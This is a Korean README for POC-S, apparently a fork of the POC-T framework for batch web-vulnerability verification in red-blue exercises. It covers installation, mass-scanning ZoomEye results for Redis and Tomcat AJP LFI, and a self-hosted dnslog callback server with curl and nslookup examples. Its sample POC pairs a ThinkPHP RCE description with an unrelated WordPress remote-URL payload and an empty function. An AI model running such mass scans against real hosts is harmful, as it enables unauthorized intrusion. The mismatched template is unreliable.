
POC-T 강화 버전 POC-S는 레드-블루 대항전에서 웹 애플리케이션 취약점을 신속하게 검증하는 데 사용됩니다. 기능을 강화하고 스크립트를 분류하여 추가했으며, dnslog 등을 자체 내장합니다. 플랫폼에는 vulhub 타깃 머신 및 기타 오픈소스 프로젝트의 고가용성 POC가 보충되어 있습니다.
POC-T의 위키 문서는 doc 디렉토리를 참조하세요
서문: 현재
사전 양측 동의 없이 POC-S를 사용하여 대상을 공격하는 것은 불법입니다. POC-S는 보안 테스트 목적으로만 사용됩니다.
TODO
타사 인터페이스는 인증이 필요하므로, --init 매개변수를 통해 관련 인터페이스 설정을 초기화할 수 있습니다. 예: --init zoomeye
pip install pocs
소스 설치:
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak mv pocs/toolkit.conf
python setup.py install
pip로 pcos 설치 시 'Some files missing' 오류가 발생하면, pocs 설치 디렉토리(python2.7\Lib\site-packages\pocs)로 이동하여 tookit.conf를 이름 변경하세요.
WARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments.오류가 발생하면 패키지 의존성 문제입니다. 다음 패키지 버전을 확인하고 업데이트하세요: setuptools==39.0.1 cachetools==3.1.1 google-api-python-client==1.7.11
pocs -s test/test2.py -iS 127.0.0.1 # script/test/test2.py 스크립트 로드
pocs -s test2 -iS 127.0.0.1 # script/test2.py 스크립트 로드
pocs -b test -iS 127.0.0.1 # /script/test 디렉토리의 모든 스크립트 배치 로드
pocs -b test -s test2.py -iS 127.0.0.1 # script/test/test2.py 스크립트 로드
pocs -s myself_script.py -iS 127.0.0.1 # 사용자 정의 스크립트 및 스크립트 디렉토리 로드
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye // zoomeye 설정 정보 초기화
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
ZoomEye를 사용하여 CNVD-2020-10487 tomcat ajp lfi 취약점 배치 검색
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

ceye의 불안정성에 고민하고 계시거나, DNSLog 플랫폼을 구축할 시간과 노력이 없으시다면(두 개의 도메인, 하나의 공인 IP가 필요하며, 도메인의 DNS 서버도 변경 가능해야 함) POC-S에서 제공하는 간단한 dnslog 플랫폼을 시도해보세요. 하나의 도메인과 하나의 공인 IP만 있으면 구축할 수 있으며, 검증을 위한 API 인터페이스를 제공합니다(UI 없음).
dnslog.xxx.cn이 공인 도메인이고, x.x.x.x가 공인 IP라고 가정합니다. dnslog.xxx.cn이 x.x.x.x로 정상적으로 해석될 수 있는지 확인하세요. 그렇지 않으면 API에 정상적으로 접근할 수 없습니다. 공인망(x.x.x.x)에서 다음 명령 실행:
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88(pip으로 설치하지 않은 경우 pocs.dnslog.py 스크립트를 직접 실행)
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>>dns ip: x.x.x.x
dns log 명령, nslookup 명령만 지원: nslookup 1234.dnslog.xxx.cn x.x.x.x
ping 1234.dnslog.xxx.cn 명령을 사용하려면 xxx.cn 도메인에 대해 사용자 정의 DNS 서버를 구성할 수도 있습니다(DNSLog 설정 참조).
web log 명령: curl http://dnslog.xxx.cn:88/weblog/poc123
API 인터페이스 주소: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
매개변수:
- token 필수, dnslog 구축 시 입력한 api_key
- type 필수, 선택 가능한 값: dns/web
- filter 선택, 레코드 필터링, 완전 일치
pocs는 더 유연한 플러그인 분류 방식을 제공합니다. 현재 수집된 POC는 네 가지 유형으로 요약됩니다: Fuzz POC, OWASP POC, Vuln POC, Tool POC. POC 부분은 GitHub에 이미 있는 POC를 최대한 수집하려고 노력하지만, 너무 많지는 않을 것입니다. 개인이 직접 수집하고 정리해야 합니다.
POC 작성은 가능한 한 표준화되고 POC-T의 작성 스타일을 따릅니다. 예시는 다음과 같습니다.
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 원격 코드 실행 취약점
Desc
2018년 12월 10일 정오, thinkphp 공식 공개 번호가 업데이트 공지를 발표했으며, 여기에는 5.x 시리즈의 모든 버전에 존재하는 getShell 가능한 고위험 취약점이 포함되어 있습니다.
프레임워크가 컨트롤러 이름을 충분히 확인하지 않아 강제 라우팅이 활성화되지 않은 경우 getShell 취약점이 발생할 수 있습니다.
영향을 받는 버전은 5.0.23 및 5.1.31 이전의 모든 버전입니다. 가능한 한 빨리 최신 버전으로 업데이트하는 것이 좋습니다.
Version
ThinkPHP5.0 버전 <= 5.0.22 ThinkPHP5.1 버전 <= 5.1.29
Usage:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
주로 vulhub 플러그인 작성 및 POC-T 자체 플러그인 poc에서 비롯되며, 가용성이 높은 POC만 추가합니다. 아래 나열된 각 POC는 기본적으로 직접 환경을 구축하여 하나씩 검증한 것입니다. 오류가 있는 POC가 있으면 issues를 통해 연락해 주세요.
출처: boy-hack/POC-T
hunter의 탐지 스크립트 출처
일반적인 도구 유형 POC, 검색 엔진, 정보 조회 등의 기능 제공
기타 오픈소스 POC 예: https://github.com/boy-hack/airbug 프로젝트는 바로 사용할 수 있는 poc를 수집했지만, HackReqeust 라이브러리가 py3용이므로 Python2로 변경해야 합니다. 제가 수정한 py2 라이브러리를 직접 설치할 수 있습니다: https://github.com/jiangsir404/hack-requests